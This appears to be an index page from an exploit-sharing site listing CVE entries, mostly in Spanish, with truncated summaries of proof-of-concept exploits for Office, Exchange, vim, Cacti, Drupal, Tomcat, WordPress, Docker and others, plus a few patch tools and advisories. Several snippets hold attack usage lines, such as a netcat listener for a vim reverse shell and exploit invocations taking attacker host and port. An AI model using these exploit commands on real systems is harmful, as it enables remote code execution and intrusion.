CVE-2017-11882

CVE-2017-11882 Enlace del artículo Vulnerabilidad de ejecución remota de código en Office oculta durante 17 años CVE-2017-11882 http://www.cnblogs.com/Hi-blog/p/7878054.html...

CVE-2021-26855

CVE-2021-26855 CVE-2021-26855, también conocido como Proxylogon, es una vulnerabilidad de falsificación de solicitudes del lado del servidor SSRF en Exchange que permite a un atacante enviar solicitudes HTTP arbitrarias y autenticarse como el servidor Exchange. Según Orange Tsai, el investigador...

CVE-2019-12735

CVE-2019-12735 Este CVE fue corregido después de neovim 0.3.6 y vim 8.1.1365 POC root@kitploit: vim demo1.txt Shell remota 1. Crea el archivo de texto malicioso: root@kitploit: gcc makedemo3.c -o makedemo3 ./makedemo3 2. Compila el cliente en otra sesión: root@kitploit: nc -vlp 9999 3. Abre el...

CVE-2022-46169

CVE-2022-46169 Este repositorio contiene una Prueba de Concepto PoC para CVE-2022-46169 - RCE no autenticado en Cacti = 1.2.22 encadenando una Bypass de Autenticación y una Inyección de Comandos, descrito por Sonar en esta entrada de blog. Las mismas vulnerabilidades también fueron descubiertas...

CVE-2020-0688

CVE-2020-0688 Script de explotación para CVE-2020-0688 "Vulnerabilidad de deserialización de MachineKeySection predeterminada de Microsoft Exchange" Uso: root@kitploit: powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml -uri Ejemplo: Este es un ejemplo de validación de vulnerabilidad...

CVE-2022-48311

CVE-2022-48311 HP Deskjet 2540 series impresora versión de firmware CEP1FN1418BR y número de modelo de producto A9U23B página de configuración HTTP vulnerabilidad de Cross Site Scripting XSS Description Cross Site Scripting XSS en la impresora HP Deskjet 2540 series, versión de firmware...

CVE-2023-25610

CVE-2023-25610 Desbordamiento inferior de heap en la interfaz de administración de FortiOS que conduce a la ejecución remota de código. Alcance y limitaciones 1. Fortinet 6.x 2. Basado en TLSv1.3, pueden existir diferencias en otras versiones de TLS. Uso python3 cve-2022-42475.py rhost rport lhos...

Log4jPatch

-- This repository has been archived -- Further development of this tool will continue at corretto/hotpatch-for-apache-log4j2. Thanks for sharing, commenting, trying it out and contributing to this project! Log4jPatch This is a POC of a simple tool which injects a Java agent into a running JVM...

THM-Steel_Mountain-CVE-2014-6287

THM-SteelMountain-CVE-2014-6287 A write up on the Steel Mountain box from TryHackMe.com and exploit for CVE-2014-6287 Credits I take no credit for the original discovery and exploitation of this vulnerability. Thank you to the following people! Discovery: Daniele Linguaglossa Metasploit Module...

CVE-2018-7600

Proof-Of-Concept for CVE-2018-7600 / SA-CORE-2018-002 codebeat badge Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations. H...

CVE-2020-17530

CVE-2020-17530 Prueba de concepto rápida para CVE-2020-17530. En Apache Struts versiones 2.0.0 - 2.5.25, una evaluación forzada del Lenguaje de Navegación de Grafos de Objetos OGNL sobre la entrada de usuario sin procesar en atributos de etiquetas puede conducir a la ejecución remota de código RC...

cve-2025-24813-poc

CVE-2025-24813 PoC de Exploit RCE en Apache Tomcat Este repositorio contiene un exploit de prueba de concepto para CVE-2025-24813, una vulnerabilidad de deserialización de Java en Apache Tomcat. Basado en absholi7ly/POC-CVE-2025-24813/. Requisitos previos Docker Configuración 1. Instalar...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.0 5.5.4 - 'widgetphp' Ejecución Remota de Código No Autenticada Consola de línea de comandos de estilo interactivo para CVE-2019-16759 Uso: root@kitploit: python3 exploit.py Introduce el sitio con Http/Https y obtén la Shell :p...

CVE-2016-10033

PoC para CVE-2016-10033 RCE contra WordPress 4.6 uso: root@kitploit: ./CVE-2016-10033.py ejemplo: root@kitploit: ./CVE-2016-10033.py http://site.com/ 1.2.3.4:4444 admin Adaptación a Python +modificaciones de https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html...

CVE-2019-5736-PoC

CVE-2019-5736-PoC PoC para CVE-2019-5736 Creado con ayuda de @singe, @cablethief, y @feexd Probado en Ubuntu 18.04, Debian 9 y Arch Linux. Versiones de Docker 18.09.1-ce y 18.03.1-ce. Este PoC actualmente no funciona con Ubuntu 16.04 y CentOS. Ve a ver el código del exploit de Dragon Sector las...

CVE-2017-0199-Fix

CVE-2017-0199 Fix Remove CVE-2017-0199's ability to execute code by changing the default handler for .hta files. The default handler for files invoked through OLE2 COM Objects is stored separately from the local system's default application and can only be changed through the registry. Basic Logi...

CVE-2025-54424

CVE-2025-54424 CVE-2025-54424: Herramienta integrada para la vulnerabilidad RCE por omisión del certificado de cliente en 1Panel escaneo + explotación Resumen de la vulnerabilidad 1Panel es un panel moderno y de código abierto para la administración de operaciones de Linux que ofrece una interfaz...

CVE-2026-85452

MOOS ui-moos through 50b9c6c contains a buffer overflow vulnerability in ScopeTabPane.cpp and ScopeGrid.cpp where client and variable names are formatted into fixed 1024-byte buffers using sprintf without length validation. Attackers can supply arbitrarily long MOOS identifiers that overflow the...

CVE-2026-85439

MOOS-IvP through 24.8.1 contains a remote code execution vulnerability in alogsplit's SplitHandler::handlePreCheckSplitDir function that fails to sanitize shell metacharacters in log file pathnames. Attackers can embed shell syntax in log file names or the --dir parameter to execute arbitrary...

CVE-2026-85437

MOOS-IvP through 24.8.1 contains multiple buffer overflow vulnerabilities in IvP function string decoders that trust attacker-controlled length fields without validation. Attackers can craft malicious encoded strings with mismatched declared and actual field lengths to overflow heap and stack...